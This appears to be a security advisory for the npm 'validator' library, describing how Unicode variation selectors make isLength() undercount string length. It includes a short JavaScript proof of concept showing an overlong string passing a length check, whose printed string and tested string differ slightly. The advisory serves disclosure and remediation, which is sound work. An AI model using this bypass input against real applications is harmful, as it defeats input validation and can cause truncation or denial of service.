SNYK-JS-VALIDATOR-13653476

## Overview [validator](https://www.npmjs.com/package/validator) is a library of string validators and sanitizers. Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the `isLength()` function that does not take into account Unicode variation selectors (`\uFE0F`, `\uFE0E`) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service. ## PoC Input; ```js const validator = require('validator'); console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`); console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`); console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`); ``` Output: ``` Is "test" (String.length: 4) length less than or equal to 3? false Is "test" (String.length: 4) length less than or equal to 4? true Is "test️️️️" (String.length: 8) length less than or equal to 4? true ``` ## Remediation Upgrade `validator` to version 13.15.22 or higher. ## References - [GitHub Gist](https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e) - [GitHub PR](https://github.com/validatorjs/validator.js/pull/2616)